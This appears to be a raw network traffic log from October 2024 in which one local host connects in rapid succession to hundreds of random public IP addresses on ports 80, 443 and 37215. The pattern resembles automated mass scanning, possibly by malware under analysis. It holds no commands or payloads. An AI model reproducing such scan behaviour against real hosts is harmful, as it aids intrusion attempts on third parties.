Oct 14, 2024 17:30:09.895184040 CEST	53274	80	192.168.2.14	136.96.51.126
Oct 14, 2024 17:30:09.895199060 CEST	53274	80	192.168.2.14	42.17.158.236
Oct 14, 2024 17:30:09.895200968 CEST	53274	80	192.168.2.14	155.154.237.211
Oct 14, 2024 17:30:09.895236969 CEST	53274	80	192.168.2.14	205.127.101.236
Oct 14, 2024 17:30:09.895239115 CEST	53274	80	192.168.2.14	192.219.69.153
Oct 14, 2024 17:30:09.895248890 CEST	53274	80	192.168.2.14	192.113.151.96
Oct 14, 2024 17:30:09.895257950 CEST	53274	80	192.168.2.14	159.26.24.112
Oct 14, 2024 17:30:09.895267010 CEST	53274	80	192.168.2.14	148.218.54.165
Oct 14, 2024 17:30:09.895281076 CEST	53274	80	192.168.2.14	155.33.88.93
Oct 14, 2024 17:30:09.895288944 CEST	53274	80	192.168.2.14	163.187.99.91
Oct 14, 2024 17:30:09.895307064 CEST	53274	80	192.168.2.14	124.7.9.131
Oct 14, 2024 17:30:09.895307064 CEST	53274	80	192.168.2.14	135.103.205.198
Oct 14, 2024 17:30:09.895312071 CEST	53274	80	192.168.2.14	48.167.168.31
Oct 14, 2024 17:30:09.895330906 CEST	53274	80	192.168.2.14	98.15.190.153
Oct 14, 2024 17:30:09.895340919 CEST	53274	80	192.168.2.14	46.80.108.212
Oct 14, 2024 17:30:09.895347118 CEST	53274	80	192.168.2.14	221.194.58.156
Oct 14, 2024 17:30:09.895380020 CEST	53274	80	192.168.2.14	168.50.27.220
Oct 14, 2024 17:30:09.895392895 CEST	53274	80	192.168.2.14	86.228.169.166
Oct 14, 2024 17:30:09.895395994 CEST	53274	80	192.168.2.14	87.64.152.206
Oct 14, 2024 17:30:09.895400047 CEST	53274	80	192.168.2.14	186.2.214.211
Oct 14, 2024 17:30:09.895401955 CEST	53274	80	192.168.2.14	150.68.116.223
Oct 14, 2024 17:30:09.895401955 CEST	53274	80	192.168.2.14	130.254.21.173
Oct 14, 2024 17:30:09.895416021 CEST	53274	80	192.168.2.14	210.119.233.247
Oct 14, 2024 17:30:09.895417929 CEST	53274	80	192.168.2.14	81.1.200.8
Oct 14, 2024 17:30:09.895437002 CEST	53274	80	192.168.2.14	137.4.15.183
Oct 14, 2024 17:30:09.895440102 CEST	53274	80	192.168.2.14	166.218.135.173
Oct 14, 2024 17:30:09.895462036 CEST	53274	80	192.168.2.14	218.71.7.76
Oct 14, 2024 17:30:09.895462036 CEST	53274	80	192.168.2.14	1.248.44.86
Oct 14, 2024 17:30:09.895473957 CEST	53274	80	192.168.2.14	88.13.153.186
Oct 14, 2024 17:30:09.895488024 CEST	53274	80	192.168.2.14	113.246.193.36
Oct 14, 2024 17:30:09.895498037 CEST	53274	80	192.168.2.14	134.7.59.47
Oct 14, 2024 17:30:09.895529985 CEST	53274	80	192.168.2.14	162.99.15.245
Oct 14, 2024 17:30:09.895529985 CEST	53274	80	192.168.2.14	38.222.192.53
Oct 14, 2024 17:30:09.895533085 CEST	53274	80	192.168.2.14	113.150.251.90
Oct 14, 2024 17:30:09.895555973 CEST	53274	80	192.168.2.14	37.143.236.31
Oct 14, 2024 17:30:09.895555973 CEST	53274	80	192.168.2.14	156.123.137.200
Oct 14, 2024 17:30:09.895558119 CEST	37215	53786	197.210.74.200	192.168.2.14
Oct 14, 2024 17:30:09.895571947 CEST	53274	80	192.168.2.14	95.145.40.196
Oct 14, 2024 17:30:09.895574093 CEST	37215	53786	156.33.115.13	192.168.2.14
Oct 14, 2024 17:30:09.895585060 CEST	37215	53786	41.207.66.146	192.168.2.14
Oct 14, 2024 17:30:09.895593882 CEST	53274	80	192.168.2.14	85.79.72.62
Oct 14, 2024 17:30:09.895601034 CEST	37215	53786	156.158.87.87	192.168.2.14
Oct 14, 2024 17:30:09.895621061 CEST	53786	37215	192.168.2.14	156.33.115.13
Oct 14, 2024 17:30:09.895622015 CEST	53786	37215	192.168.2.14	197.210.74.200
Oct 14, 2024 17:30:09.895627975 CEST	53274	80	192.168.2.14	96.155.110.122
Oct 14, 2024 17:30:09.895627975 CEST	53274	80	192.168.2.14	105.212.102.37
Oct 14, 2024 17:30:09.895631075 CEST	37215	53786	156.22.33.77	192.168.2.14
Oct 14, 2024 17:30:09.895642042 CEST	37215	53786	197.23.139.165	192.168.2.14
Oct 14, 2024 17:30:09.895643950 CEST	53786	37215	192.168.2.14	156.158.87.87
Oct 14, 2024 17:30:09.895652056 CEST	37215	53786	197.144.116.120	192.168.2.14
Oct 14, 2024 17:30:09.895662069 CEST	37215	53786	197.93.88.62	192.168.2.14
Oct 14, 2024 17:30:09.895669937 CEST	37215	53786	197.190.87.191	192.168.2.14
Oct 14, 2024 17:30:09.895672083 CEST	53786	37215	192.168.2.14	156.22.33.77
Oct 14, 2024 17:30:09.895678043 CEST	37215	53786	156.13.61.79	192.168.2.14
Oct 14, 2024 17:30:09.895688057 CEST	53274	80	192.168.2.14	184.180.76.95
Oct 14, 2024 17:30:09.895688057 CEST	53786	37215	192.168.2.14	197.23.139.165
Oct 14, 2024 17:30:09.895692110 CEST	53274	80	192.168.2.14	57.163.162.70
Oct 14, 2024 17:30:09.895692110 CEST	53786	37215	192.168.2.14	197.144.116.120
Oct 14, 2024 17:30:09.895693064 CEST	37215	53786	41.33.73.168	192.168.2.14
Oct 14, 2024 17:30:09.895703077 CEST	37215	53786	41.210.54.26	192.168.2.14
Oct 14, 2024 17:30:09.895711899 CEST	37215	53786	197.140.126.237	192.168.2.14
Oct 14, 2024 17:30:09.895720005 CEST	37215	53786	41.70.187.176	192.168.2.14
Oct 14, 2024 17:30:09.895720005 CEST	53786	37215	192.168.2.14	156.13.61.79
Oct 14, 2024 17:30:09.895728111 CEST	37215	53786	197.150.180.171	192.168.2.14
Oct 14, 2024 17:30:09.895733118 CEST	53786	37215	192.168.2.14	41.33.73.168
Oct 14, 2024 17:30:09.895736933 CEST	37215	53786	156.58.17.171	192.168.2.14
Oct 14, 2024 17:30:09.895741940 CEST	53786	37215	192.168.2.14	41.210.54.26
Oct 14, 2024 17:30:09.895745039 CEST	37215	53786	156.19.217.129	192.168.2.14
Oct 14, 2024 17:30:09.895747900 CEST	53786	37215	192.168.2.14	197.140.126.237
Oct 14, 2024 17:30:09.895759106 CEST	53274	80	192.168.2.14	71.110.122.43
Oct 14, 2024 17:30:09.895760059 CEST	37215	53786	197.24.121.206	192.168.2.14
Oct 14, 2024 17:30:09.895759106 CEST	53786	37215	192.168.2.14	41.207.66.146
Oct 14, 2024 17:30:09.895770073 CEST	37215	53786	41.168.196.240	192.168.2.14
Oct 14, 2024 17:30:09.895770073 CEST	53786	37215	192.168.2.14	41.70.187.176
Oct 14, 2024 17:30:09.895771980 CEST	53786	37215	192.168.2.14	197.93.88.62
Oct 14, 2024 17:30:09.895771980 CEST	53786	37215	192.168.2.14	156.58.17.171
Oct 14, 2024 17:30:09.895778894 CEST	53786	37215	192.168.2.14	197.190.87.191
Oct 14, 2024 17:30:09.895778894 CEST	53786	37215	192.168.2.14	156.19.217.129
Oct 14, 2024 17:30:09.895781040 CEST	37215	53786	156.195.97.201	192.168.2.14
Oct 14, 2024 17:30:09.895787001 CEST	53786	37215	192.168.2.14	197.150.180.171
Oct 14, 2024 17:30:09.895791054 CEST	37215	53786	197.34.98.159	192.168.2.14
Oct 14, 2024 17:30:09.895800114 CEST	37215	53786	197.235.223.5	192.168.2.14
Oct 14, 2024 17:30:09.895802975 CEST	53274	80	192.168.2.14	13.120.153.46
Oct 14, 2024 17:30:09.895808935 CEST	37215	53786	197.217.242.63	192.168.2.14
Oct 14, 2024 17:30:09.895811081 CEST	53274	80	192.168.2.14	17.244.103.143
Oct 14, 2024 17:30:09.895812035 CEST	53274	80	192.168.2.14	101.107.252.85
Oct 14, 2024 17:30:09.895817041 CEST	37215	53786	197.7.2.153	192.168.2.14
Oct 14, 2024 17:30:09.895817041 CEST	53786	37215	192.168.2.14	156.195.97.201
Oct 14, 2024 17:30:09.895823002 CEST	53786	37215	192.168.2.14	41.168.196.240
Oct 14, 2024 17:30:09.895823002 CEST	53786	37215	192.168.2.14	197.34.98.159
Oct 14, 2024 17:30:09.895828009 CEST	37215	53786	197.122.6.143	192.168.2.14
Oct 14, 2024 17:30:09.895837069 CEST	53786	37215	192.168.2.14	197.235.223.5
Oct 14, 2024 17:30:09.895837069 CEST	37215	53786	197.149.187.154	192.168.2.14
Oct 14, 2024 17:30:09.895847082 CEST	37215	53786	156.62.93.61	192.168.2.14
Oct 14, 2024 17:30:09.895847082 CEST	53786	37215	192.168.2.14	197.7.2.153
Oct 14, 2024 17:30:09.895854950 CEST	37215	53786	197.226.179.113	192.168.2.14
Oct 14, 2024 17:30:09.895860910 CEST	53786	37215	192.168.2.14	197.217.242.63
Oct 14, 2024 17:30:09.895860910 CEST	53786	37215	192.168.2.14	197.122.6.143
Oct 14, 2024 17:30:09.895868063 CEST	53786	37215	192.168.2.14	197.149.187.154
Oct 14, 2024 17:30:09.895878077 CEST	53786	37215	192.168.2.14	156.62.93.61
Oct 14, 2024 17:30:09.895879984 CEST	53786	37215	192.168.2.14	197.24.121.206
Oct 14, 2024 17:30:09.895879984 CEST	53274	80	192.168.2.14	133.98.232.41
Oct 14, 2024 17:30:09.895879984 CEST	53274	80	192.168.2.14	173.189.113.125
Oct 14, 2024 17:30:09.895884037 CEST	53274	80	192.168.2.14	200.156.32.204
Oct 14, 2024 17:30:09.895885944 CEST	53274	80	192.168.2.14	135.54.138.234
Oct 14, 2024 17:30:09.895895004 CEST	53274	80	192.168.2.14	198.140.106.13
Oct 14, 2024 17:30:09.895908117 CEST	53274	80	192.168.2.14	173.222.197.159
Oct 14, 2024 17:30:09.895915031 CEST	53274	80	192.168.2.14	35.128.80.4
Oct 14, 2024 17:30:09.895931959 CEST	53274	80	192.168.2.14	165.44.92.193
Oct 14, 2024 17:30:09.895937920 CEST	53274	80	192.168.2.14	81.13.35.86
Oct 14, 2024 17:30:09.895947933 CEST	53274	80	192.168.2.14	87.168.188.204
Oct 14, 2024 17:30:09.895948887 CEST	53274	80	192.168.2.14	4.242.72.156
Oct 14, 2024 17:30:09.895960093 CEST	53274	80	192.168.2.14	113.181.61.37
Oct 14, 2024 17:30:09.895972967 CEST	53274	80	192.168.2.14	160.163.100.221
Oct 14, 2024 17:30:09.895991087 CEST	53274	80	192.168.2.14	160.121.183.255
Oct 14, 2024 17:30:09.895991087 CEST	53274	80	192.168.2.14	193.93.112.105
Oct 14, 2024 17:30:09.896004915 CEST	53274	80	192.168.2.14	115.68.126.84
Oct 14, 2024 17:30:09.896007061 CEST	53274	80	192.168.2.14	198.167.72.162
Oct 14, 2024 17:30:09.896011114 CEST	53786	37215	192.168.2.14	197.226.179.113
Oct 14, 2024 17:30:09.896011114 CEST	53274	80	192.168.2.14	209.28.204.22
Oct 14, 2024 17:30:09.896023035 CEST	53274	80	192.168.2.14	110.50.233.83
Oct 14, 2024 17:30:09.896040916 CEST	53274	80	192.168.2.14	148.170.213.41
Oct 14, 2024 17:30:09.896044970 CEST	53274	80	192.168.2.14	68.106.240.210
Oct 14, 2024 17:30:09.896049976 CEST	53274	80	192.168.2.14	109.42.17.201
Oct 14, 2024 17:30:09.896056890 CEST	53274	80	192.168.2.14	9.140.146.65
Oct 14, 2024 17:30:09.896056890 CEST	53274	80	192.168.2.14	134.187.182.97
Oct 14, 2024 17:30:09.896066904 CEST	37215	53786	197.56.238.39	192.168.2.14
Oct 14, 2024 17:30:09.896070957 CEST	53274	80	192.168.2.14	44.78.215.141
Oct 14, 2024 17:30:09.896078110 CEST	37215	53786	41.107.152.217	192.168.2.14
Oct 14, 2024 17:30:09.896086931 CEST	37215	53786	197.52.126.20	192.168.2.14
Oct 14, 2024 17:30:09.896091938 CEST	53274	80	192.168.2.14	111.99.4.19
Oct 14, 2024 17:30:09.896095991 CEST	37215	53786	41.103.110.146	192.168.2.14
Oct 14, 2024 17:30:09.896105051 CEST	37215	53786	156.21.37.74	192.168.2.14
Oct 14, 2024 17:30:09.896106958 CEST	53786	37215	192.168.2.14	41.107.152.217
Oct 14, 2024 17:30:09.896110058 CEST	53274	80	192.168.2.14	44.239.6.48
Oct 14, 2024 17:30:09.896110058 CEST	53786	37215	192.168.2.14	197.56.238.39
Oct 14, 2024 17:30:09.896114111 CEST	37215	53786	41.180.231.59	192.168.2.14
Oct 14, 2024 17:30:09.896121979 CEST	53786	37215	192.168.2.14	197.52.126.20
Oct 14, 2024 17:30:09.896123886 CEST	37215	53786	41.8.203.216	192.168.2.14
Oct 14, 2024 17:30:09.896133900 CEST	37215	53786	197.53.87.26	192.168.2.14
Oct 14, 2024 17:30:09.896138906 CEST	53274	80	192.168.2.14	220.7.72.139
Oct 14, 2024 17:30:09.896138906 CEST	53274	80	192.168.2.14	31.90.105.122
Oct 14, 2024 17:30:09.896142960 CEST	53786	37215	192.168.2.14	41.103.110.146
Oct 14, 2024 17:30:09.896151066 CEST	37215	53786	41.141.244.117	192.168.2.14
Oct 14, 2024 17:30:09.896152020 CEST	53786	37215	192.168.2.14	156.21.37.74
Oct 14, 2024 17:30:09.896158934 CEST	53786	37215	192.168.2.14	41.8.203.216
Oct 14, 2024 17:30:09.896162033 CEST	37215	53786	156.118.236.68	192.168.2.14
Oct 14, 2024 17:30:09.896162987 CEST	53786	37215	192.168.2.14	41.180.231.59
Oct 14, 2024 17:30:09.896169901 CEST	37215	53786	156.128.77.136	192.168.2.14
Oct 14, 2024 17:30:09.896171093 CEST	53274	80	192.168.2.14	188.46.150.50
Oct 14, 2024 17:30:09.896178007 CEST	53274	80	192.168.2.14	170.16.154.67
Oct 14, 2024 17:30:09.896181107 CEST	37215	53786	197.143.89.78	192.168.2.14
Oct 14, 2024 17:30:09.896186113 CEST	53786	37215	192.168.2.14	197.53.87.26
Oct 14, 2024 17:30:09.896188021 CEST	53786	37215	192.168.2.14	41.141.244.117
Oct 14, 2024 17:30:09.896190882 CEST	37215	53786	156.231.164.193	192.168.2.14
Oct 14, 2024 17:30:09.896202087 CEST	37215	53786	41.14.62.155	192.168.2.14
Oct 14, 2024 17:30:09.896203995 CEST	53786	37215	192.168.2.14	156.128.77.136
Oct 14, 2024 17:30:09.896203995 CEST	53786	37215	192.168.2.14	156.118.236.68
Oct 14, 2024 17:30:09.896210909 CEST	37215	53786	41.1.32.139	192.168.2.14
Oct 14, 2024 17:30:09.896219015 CEST	37215	53786	41.182.99.130	192.168.2.14
Oct 14, 2024 17:30:09.896226883 CEST	37215	53786	41.17.163.19	192.168.2.14
Oct 14, 2024 17:30:09.896229029 CEST	53786	37215	192.168.2.14	156.231.164.193
Oct 14, 2024 17:30:09.896244049 CEST	37215	53786	156.112.108.7	192.168.2.14
Oct 14, 2024 17:30:09.896253109 CEST	37215	53786	156.223.254.14	192.168.2.14
Oct 14, 2024 17:30:09.896260023 CEST	53786	37215	192.168.2.14	197.143.89.78
Oct 14, 2024 17:30:09.896260023 CEST	53786	37215	192.168.2.14	41.1.32.139
Oct 14, 2024 17:30:09.896261930 CEST	37215	53786	41.189.39.190	192.168.2.14
Oct 14, 2024 17:30:09.896262884 CEST	53786	37215	192.168.2.14	41.14.62.155
Oct 14, 2024 17:30:09.896262884 CEST	53786	37215	192.168.2.14	41.182.99.130
Oct 14, 2024 17:30:09.896265984 CEST	53274	80	192.168.2.14	81.172.6.29
Oct 14, 2024 17:30:09.896265984 CEST	53274	80	192.168.2.14	83.71.214.242
Oct 14, 2024 17:30:09.896271944 CEST	37215	53786	41.244.255.42	192.168.2.14
Oct 14, 2024 17:30:09.896275997 CEST	53274	80	192.168.2.14	162.224.60.213
Oct 14, 2024 17:30:09.896275997 CEST	53786	37215	192.168.2.14	41.17.163.19
Oct 14, 2024 17:30:09.896271944 CEST	53274	80	192.168.2.14	2.247.15.53
Oct 14, 2024 17:30:09.896284103 CEST	37215	53786	41.117.223.120	192.168.2.14
Oct 14, 2024 17:30:09.896294117 CEST	37215	53786	197.139.34.171	192.168.2.14
Oct 14, 2024 17:30:09.896301985 CEST	53786	37215	192.168.2.14	156.112.108.7
Oct 14, 2024 17:30:09.896302938 CEST	37215	53786	156.111.226.168	192.168.2.14
Oct 14, 2024 17:30:09.896305084 CEST	53786	37215	192.168.2.14	156.223.254.14
Oct 14, 2024 17:30:09.896312952 CEST	37215	53786	41.104.229.93	192.168.2.14
Oct 14, 2024 17:30:09.896315098 CEST	53786	37215	192.168.2.14	41.189.39.190
Oct 14, 2024 17:30:09.896315098 CEST	53786	37215	192.168.2.14	41.117.223.120
Oct 14, 2024 17:30:09.896320105 CEST	53786	37215	192.168.2.14	41.244.255.42
Oct 14, 2024 17:30:09.896322966 CEST	37215	53786	197.231.83.44	192.168.2.14
Oct 14, 2024 17:30:09.896332026 CEST	37215	53786	41.82.111.90	192.168.2.14
Oct 14, 2024 17:30:09.896332026 CEST	53786	37215	192.168.2.14	197.139.34.171
Oct 14, 2024 17:30:09.896339893 CEST	37215	53786	41.194.134.46	192.168.2.14
Oct 14, 2024 17:30:09.896342039 CEST	53786	37215	192.168.2.14	156.111.226.168
Oct 14, 2024 17:30:09.896353006 CEST	53274	80	192.168.2.14	93.207.189.38
Oct 14, 2024 17:30:09.896359921 CEST	53786	37215	192.168.2.14	41.104.229.93
Oct 14, 2024 17:30:09.896359921 CEST	53786	37215	192.168.2.14	41.82.111.90
Oct 14, 2024 17:30:09.896363020 CEST	53786	37215	192.168.2.14	197.231.83.44
Oct 14, 2024 17:30:09.896363974 CEST	53274	80	192.168.2.14	37.108.56.170
Oct 14, 2024 17:30:09.896374941 CEST	53786	37215	192.168.2.14	41.194.134.46
Oct 14, 2024 17:30:09.896380901 CEST	53274	80	192.168.2.14	60.11.242.12
Oct 14, 2024 17:30:09.896390915 CEST	53274	80	192.168.2.14	207.142.158.117
Oct 14, 2024 17:30:09.896408081 CEST	53274	80	192.168.2.14	39.228.91.82
Oct 14, 2024 17:30:09.896420002 CEST	53274	80	192.168.2.14	82.85.48.129
Oct 14, 2024 17:30:09.896431923 CEST	37215	53786	41.192.52.187	192.168.2.14
Oct 14, 2024 17:30:09.896435022 CEST	53274	80	192.168.2.14	123.211.204.171
Oct 14, 2024 17:30:09.896436930 CEST	53274	80	192.168.2.14	158.220.157.98
Oct 14, 2024 17:30:09.896440983 CEST	37215	53786	41.239.188.6	192.168.2.14
Oct 14, 2024 17:30:09.896445036 CEST	53274	80	192.168.2.14	73.103.75.82
Oct 14, 2024 17:30:09.896450996 CEST	37215	53786	156.218.174.34	192.168.2.14
Oct 14, 2024 17:30:09.896456957 CEST	53274	80	192.168.2.14	178.128.134.155
Oct 14, 2024 17:30:09.896460056 CEST	37215	53786	197.188.235.20	192.168.2.14
Oct 14, 2024 17:30:09.896464109 CEST	53274	80	192.168.2.14	49.0.58.13
Oct 14, 2024 17:30:09.896469116 CEST	37215	53786	41.176.3.68	192.168.2.14
Oct 14, 2024 17:30:09.896471024 CEST	53274	80	192.168.2.14	141.67.61.180
Oct 14, 2024 17:30:09.896476984 CEST	53786	37215	192.168.2.14	41.192.52.187
Oct 14, 2024 17:30:09.896477938 CEST	37215	53786	41.84.77.124	192.168.2.14
Oct 14, 2024 17:30:09.896486044 CEST	53786	37215	192.168.2.14	41.239.188.6
Oct 14, 2024 17:30:09.896486998 CEST	53274	80	192.168.2.14	134.218.238.189
Oct 14, 2024 17:30:09.896486044 CEST	53786	37215	192.168.2.14	156.218.174.34
Oct 14, 2024 17:30:09.896492958 CEST	37215	53786	197.236.41.208	192.168.2.14
Oct 14, 2024 17:30:09.896492958 CEST	53786	37215	192.168.2.14	197.188.235.20
Oct 14, 2024 17:30:09.896497011 CEST	53274	80	192.168.2.14	99.247.248.38
Oct 14, 2024 17:30:09.896497011 CEST	53786	37215	192.168.2.14	41.176.3.68
Oct 14, 2024 17:30:09.896502972 CEST	37215	53786	41.90.36.180	192.168.2.14
Oct 14, 2024 17:30:09.896512032 CEST	37215	53786	197.69.61.111	192.168.2.14
Oct 14, 2024 17:30:09.896516085 CEST	53786	37215	192.168.2.14	41.84.77.124
Oct 14, 2024 17:30:09.896528006 CEST	53786	37215	192.168.2.14	197.236.41.208
Oct 14, 2024 17:30:09.896533966 CEST	53786	37215	192.168.2.14	41.90.36.180
Oct 14, 2024 17:30:09.896538973 CEST	53274	80	192.168.2.14	220.248.212.38
Oct 14, 2024 17:30:09.896549940 CEST	37215	53786	41.127.252.72	192.168.2.14
Oct 14, 2024 17:30:09.896559954 CEST	37215	53786	197.157.204.152	192.168.2.14
Oct 14, 2024 17:30:09.896569014 CEST	37215	53786	197.164.4.133	192.168.2.14
Oct 14, 2024 17:30:09.896569014 CEST	53274	80	192.168.2.14	98.70.45.170
Oct 14, 2024 17:30:09.896578074 CEST	37215	53786	156.70.222.127	192.168.2.14
Oct 14, 2024 17:30:09.896580935 CEST	53274	80	192.168.2.14	138.138.142.27
Oct 14, 2024 17:30:09.896585941 CEST	37215	53786	156.81.64.94	192.168.2.14
Oct 14, 2024 17:30:09.896590948 CEST	53786	37215	192.168.2.14	41.127.252.72
Oct 14, 2024 17:30:09.896590948 CEST	53786	37215	192.168.2.14	197.69.61.111
Oct 14, 2024 17:30:09.896590948 CEST	53274	80	192.168.2.14	8.237.216.94
Oct 14, 2024 17:30:09.896590948 CEST	53786	37215	192.168.2.14	197.157.204.152
Oct 14, 2024 17:30:09.896595955 CEST	37215	53786	197.105.154.142	192.168.2.14
Oct 14, 2024 17:30:09.896605015 CEST	37215	53786	156.98.248.245	192.168.2.14
Oct 14, 2024 17:30:09.896612883 CEST	37215	53786	41.178.158.57	192.168.2.14
Oct 14, 2024 17:30:09.896615028 CEST	53786	37215	192.168.2.14	197.164.4.133
Oct 14, 2024 17:30:09.896616936 CEST	53274	80	192.168.2.14	219.249.141.2
Oct 14, 2024 17:30:09.896616936 CEST	53786	37215	192.168.2.14	156.81.64.94
Oct 14, 2024 17:30:09.896621943 CEST	37215	53786	41.196.203.251	192.168.2.14
Oct 14, 2024 17:30:09.896639109 CEST	53274	80	192.168.2.14	158.21.251.48
Oct 14, 2024 17:30:09.896639109 CEST	37215	53786	41.156.32.170	192.168.2.14
Oct 14, 2024 17:30:09.896641970 CEST	53786	37215	192.168.2.14	156.70.222.127
Oct 14, 2024 17:30:09.896641970 CEST	53786	37215	192.168.2.14	197.105.154.142
Oct 14, 2024 17:30:09.896641970 CEST	53786	37215	192.168.2.14	156.98.248.245
Oct 14, 2024 17:30:09.896641970 CEST	53274	80	192.168.2.14	93.219.117.225
Oct 14, 2024 17:30:09.896641970 CEST	53786	37215	192.168.2.14	41.178.158.57
Oct 14, 2024 17:30:09.896646976 CEST	53786	37215	192.168.2.14	41.196.203.251
Oct 14, 2024 17:30:09.896650076 CEST	37215	53786	41.243.143.78	192.168.2.14
Oct 14, 2024 17:30:09.896658897 CEST	37215	53786	41.196.60.235	192.168.2.14
Oct 14, 2024 17:30:09.896658897 CEST	53274	80	192.168.2.14	118.177.241.56
Oct 14, 2024 17:30:09.896658897 CEST	53274	80	192.168.2.14	213.245.90.38
Oct 14, 2024 17:30:09.896667957 CEST	37215	53786	156.83.223.101	192.168.2.14
Oct 14, 2024 17:30:09.896667957 CEST	53274	80	192.168.2.14	220.220.6.45
Oct 14, 2024 17:30:09.896677017 CEST	37215	53786	41.11.44.118	192.168.2.14
Oct 14, 2024 17:30:09.896682978 CEST	53786	37215	192.168.2.14	41.156.32.170
Oct 14, 2024 17:30:09.896687031 CEST	37215	53786	156.126.179.50	192.168.2.14
Oct 14, 2024 17:30:09.896696091 CEST	37215	53786	41.169.250.179	192.168.2.14
Oct 14, 2024 17:30:09.896697998 CEST	53786	37215	192.168.2.14	41.243.143.78
Oct 14, 2024 17:30:09.896703959 CEST	37215	53786	156.138.53.205	192.168.2.14
Oct 14, 2024 17:30:09.896713018 CEST	37215	53786	41.101.219.94	192.168.2.14
Oct 14, 2024 17:30:09.896720886 CEST	53786	37215	192.168.2.14	156.83.223.101
Oct 14, 2024 17:30:09.896722078 CEST	37215	53786	197.230.248.134	192.168.2.14
Oct 14, 2024 17:30:09.896729946 CEST	53786	37215	192.168.2.14	41.169.250.179
Oct 14, 2024 17:30:09.896729946 CEST	53786	37215	192.168.2.14	41.11.44.118
Oct 14, 2024 17:30:09.896733999 CEST	53786	37215	192.168.2.14	41.196.60.235
Oct 14, 2024 17:30:09.896733999 CEST	53786	37215	192.168.2.14	156.126.179.50
Oct 14, 2024 17:30:09.896759987 CEST	53786	37215	192.168.2.14	156.138.53.205
Oct 14, 2024 17:30:09.896759987 CEST	53786	37215	192.168.2.14	197.230.248.134
Oct 14, 2024 17:30:09.896764994 CEST	53786	37215	192.168.2.14	41.101.219.94
Oct 14, 2024 17:30:09.896771908 CEST	53274	80	192.168.2.14	124.69.57.102
Oct 14, 2024 17:30:09.896795988 CEST	53274	80	192.168.2.14	112.58.112.186
Oct 14, 2024 17:30:09.896806955 CEST	53274	80	192.168.2.14	94.90.128.232
Oct 14, 2024 17:30:09.896806955 CEST	53274	80	192.168.2.14	110.78.167.19
Oct 14, 2024 17:30:09.896825075 CEST	53274	80	192.168.2.14	210.50.153.138
Oct 14, 2024 17:30:09.896830082 CEST	53274	80	192.168.2.14	221.70.117.86
Oct 14, 2024 17:30:09.896831036 CEST	53274	80	192.168.2.14	35.50.217.179
Oct 14, 2024 17:30:09.896840096 CEST	53274	80	192.168.2.14	209.89.126.123
Oct 14, 2024 17:30:09.896842957 CEST	53274	80	192.168.2.14	200.99.104.189
Oct 14, 2024 17:30:09.896852016 CEST	53274	80	192.168.2.14	148.46.162.84
Oct 14, 2024 17:30:09.896858931 CEST	53274	80	192.168.2.14	211.9.52.87
Oct 14, 2024 17:30:09.896872044 CEST	53274	80	192.168.2.14	101.7.154.21
Oct 14, 2024 17:30:09.896873951 CEST	53274	80	192.168.2.14	110.32.168.169
Oct 14, 2024 17:30:09.896882057 CEST	53274	80	192.168.2.14	168.170.116.118
Oct 14, 2024 17:30:09.896893978 CEST	53274	80	192.168.2.14	138.86.211.220
Oct 14, 2024 17:30:09.896907091 CEST	53274	80	192.168.2.14	194.73.107.190
Oct 14, 2024 17:30:09.896907091 CEST	53274	80	192.168.2.14	206.231.1.57
Oct 14, 2024 17:30:09.896922112 CEST	53274	80	192.168.2.14	189.228.114.139
Oct 14, 2024 17:30:09.896931887 CEST	53274	80	192.168.2.14	69.114.234.198
Oct 14, 2024 17:30:09.896936893 CEST	53274	80	192.168.2.14	68.135.103.189
Oct 14, 2024 17:30:09.896990061 CEST	33554	80	192.168.2.14	186.138.51.223
Oct 14, 2024 17:30:09.897114038 CEST	37215	53786	156.163.39.63	192.168.2.14
Oct 14, 2024 17:30:09.897129059 CEST	37215	53786	41.94.201.32	192.168.2.14
Oct 14, 2024 17:30:09.897138119 CEST	37215	53786	156.10.98.112	192.168.2.14
Oct 14, 2024 17:30:09.897146940 CEST	37215	53786	197.237.236.197	192.168.2.14
Oct 14, 2024 17:30:09.897156000 CEST	37215	53786	197.184.253.212	192.168.2.14
Oct 14, 2024 17:30:09.897161961 CEST	53786	37215	192.168.2.14	156.163.39.63
Oct 14, 2024 17:30:09.897165060 CEST	37215	53786	41.131.14.115	192.168.2.14
Oct 14, 2024 17:30:09.897173882 CEST	37215	53786	41.186.152.56	192.168.2.14
Oct 14, 2024 17:30:09.897173882 CEST	53786	37215	192.168.2.14	41.94.201.32
Oct 14, 2024 17:30:09.897175074 CEST	53786	37215	192.168.2.14	156.10.98.112
Oct 14, 2024 17:30:09.897181988 CEST	37215	53786	41.184.133.226	192.168.2.14
Oct 14, 2024 17:30:09.897187948 CEST	53786	37215	192.168.2.14	197.184.253.212
Oct 14, 2024 17:30:09.897191048 CEST	37215	53786	156.174.155.238	192.168.2.14
Oct 14, 2024 17:30:09.897196054 CEST	53786	37215	192.168.2.14	197.237.236.197
Oct 14, 2024 17:30:09.897200108 CEST	37215	53786	156.103.56.220	192.168.2.14
Oct 14, 2024 17:30:09.897208929 CEST	37215	53786	197.63.152.46	192.168.2.14
Oct 14, 2024 17:30:09.897211075 CEST	53786	37215	192.168.2.14	41.186.152.56
Oct 14, 2024 17:30:09.897217989 CEST	37215	53786	197.233.44.10	192.168.2.14
Oct 14, 2024 17:30:09.897223949 CEST	53786	37215	192.168.2.14	41.131.14.115
Oct 14, 2024 17:30:09.897223949 CEST	53786	37215	192.168.2.14	41.184.133.226
Oct 14, 2024 17:30:09.897224903 CEST	53786	37215	192.168.2.14	156.174.155.238
Oct 14, 2024 17:30:09.897250891 CEST	53786	37215	192.168.2.14	156.103.56.220
Oct 14, 2024 17:30:09.897250891 CEST	53786	37215	192.168.2.14	197.63.152.46
Oct 14, 2024 17:30:09.897264004 CEST	53786	37215	192.168.2.14	197.233.44.10
Oct 14, 2024 17:30:09.902760029 CEST	54042	443	192.168.2.14	2.162.138.83
Oct 14, 2024 17:30:09.902762890 CEST	54042	443	192.168.2.14	178.208.147.152
Oct 14, 2024 17:30:09.902762890 CEST	54042	443	192.168.2.14	210.148.57.47
Oct 14, 2024 17:30:09.902765036 CEST	54042	443	192.168.2.14	117.132.104.23
Oct 14, 2024 17:30:09.902781963 CEST	54042	443	192.168.2.14	109.80.141.77
Oct 14, 2024 17:30:09.902789116 CEST	54042	443	192.168.2.14	148.52.120.116
Oct 14, 2024 17:30:09.902800083 CEST	54042	443	192.168.2.14	5.5.212.195
Oct 14, 2024 17:30:09.902812958 CEST	54042	443	192.168.2.14	202.127.212.251
Oct 14, 2024 17:30:09.902827024 CEST	54042	443	192.168.2.14	117.114.197.156
Oct 14, 2024 17:30:09.902837992 CEST	54042	443	192.168.2.14	123.209.169.237
Oct 14, 2024 17:30:09.902858019 CEST	54042	443	192.168.2.14	94.16.168.39
